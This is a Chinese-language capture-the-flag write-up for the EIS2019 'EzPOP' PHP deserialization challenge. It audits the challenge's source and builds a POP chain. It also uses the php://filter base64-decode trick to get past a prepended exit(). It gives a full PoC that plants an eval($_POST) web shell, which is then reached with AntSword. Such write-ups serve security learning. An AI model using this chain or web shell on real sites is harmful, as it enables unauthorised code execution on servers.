EIS2019-EzPOP
Created At :
Count:2.6k
Views 👀 :
EIS2019-EzPOP
参考博客:https://blog.csdn.net/Xxy605/article/details/120641208
打开网页一片空白,发现简介里有源码。
翻到最下面有一个
1 2 3 4
| if (isset($_GET['src'])) { highlight_file(__FILE__); }
|
我们只要get传一个src即可看到源码
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122
| <?php error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B {
protected function getExpireTime($expire): int { return (int) $expire; }
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { return true; }
return false; }
}
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
|
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215
| <?php
error_reporting(0);
class A { protected $store; protected $key; protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B {
protected function getExpireTime($expire): int { return (int) $expire; }
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); }
public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } }
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); }
unserialize($_GET["data"]);
|
class B
base64 + filter协议绕过死亡exit
B类里有一个file_put_contents函数可以利用写入shell,位于B::set()
1
| $result = file_put_contents($filename, $data)
|
溯源$filename
1
| $filename = $this->getCacheKey($name)
|
接着去溯源B::getCachekey()
1 2 3
| public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
|
这里的$options是一个数组,可以控制,$name也是一个可以控制的变量,所以文件名和前缀都是可以控制的,并且这个$name来自于B::set()的传入参数
再看看$data
1
| $data = "<?php\n\n" . $data;
|
这里的命令是拼接在exit()之后的,如果写入的话我们命令永远无法执行,叫做死亡exit()。
死亡exit()
引用大佬文章:
谈一谈php://filter的妙用@PHITHON
简而言之就是将命令先base64,拼接到exit()之后,再用filter协议base64解码写入。这里的sprintf是12位数字,传入的$expire=0即可。由于解码自动跳过非法字符,这样死亡exit()就会只剩下base64密文php//000000000000exit还有后面的命令,同时由于base64是每4字符一组,所以后面$data要补三个可见字符凑够12字符,这样传入的base64密文如下,再经过一次base64后就是php命令了
1
| php//000000000000exit(待执行命令的base64)
|
刚好file_put_contents支持解析伪协议:那么B::$options[‘prefix’]赋值为php://filter/write=convert.base64-decode/resource=,传入B::set()的参数$expire赋值为任意不超过12位数字,先去追一下$expire的来源
1
| $expire = $this->getExpireTime($expire)
|
溯源到B::getExpireTime()
1 2 3
| protected function getExpireTime($expire): int { return (int) $expire; }
|
然后有个赋值判断
1 2 3
| if (is_null($expire)) { $expire = $this->options['expire']; }
|
然后$expire来源于set传参
1
| public function set($name, $value, $expire = null): bool
|
所以$expire可以来自传参也可以是B::$options[‘expire’]
继续在追一下$data,发现上面有一个数据压缩的函数,因为要绕过exit(),这里不能让其被压缩,所以我们需要把options[‘data_compress’]赋值为false
1 2 3 4
| if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
|
再往上找$data的来源,找到B::serialize($value)
1
| $data = $this->serialize($value)
|
$value来自B::set()的传参,是在B类自己定义的,这里可控。
这里还有传入一个函数方法,
1 2 3 4 5 6 7 8 9
| protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
|
关于B::serialize()的说明
这一步serialize是一次多余的操作,我们的目标就是要经过这个函数处理,但是返回的内容不变,可以选择编码(传入base64,再此解码)、或者是去除传入命令两侧的空白字符(rtrim)等,啥都不干就行,payload默认选择进行一次base64解码
class A
首先是析构函数
1 2 3 4 5
| public function __destruct() { if (!$this->autosave) { $this->save(); } }
|
所以要进入save函数,首先要使A::$autosave赋值为0,save函数调用了set函数
1 2 3 4 5
| public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
|
这里只要使A::$store赋值为new B(),就能成功调用B::set(),然后这里的$key就是写入的文件名,$contents就是写入的内容。
再溯源$contents。
1 2 3 4 5
| public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
|
这里的$cleaned来源于$A::cache,是一个空数组;写入内容又来源于A::$complete
构造payload
经过一次B::serialize(),这里我们进行一次多余的操作也就是base64_decode,因此A::$complete需要一次base64_encode()
然后就是绕过死亡exit(),之前说了要凑3个多余字符,然后之后就是执行命令的base64编码
1
| A::$complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>'));
|
pop链构造
1
| A::__destruct()->A::cleanContents()->A::getForStorage()->A::save()->B::serialize()->B::getCacheKey()->B::getExpireTime()->B::set()->file_put_contents()
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| <?php
class A{ protected $key; protected $store; protected $expire;
public function __construct(){ $this->autosave = 0; $this->store = new B(); $this->cache = array(); $this->key = '1.php'; $this->complete = base64_encode('aaa'.base64_encode('<?php eval($_POST[1]);?>')); } }
class B{ public $options; public function __construct(){ $this->options = array(); $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource='; $this->options['data_compress'] = 0; $this->options['serialize'] = 'base64_decode'; $this->options['expire'] = 0; } }
echo urlencode(serialize(new A()));
|
然后蚁剑连接
1
| http://d7677f7f-9ff5-4b54-85c7-18de6a27f3c9.node5.buuoj.cn:81/1.php
|
即可拿到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。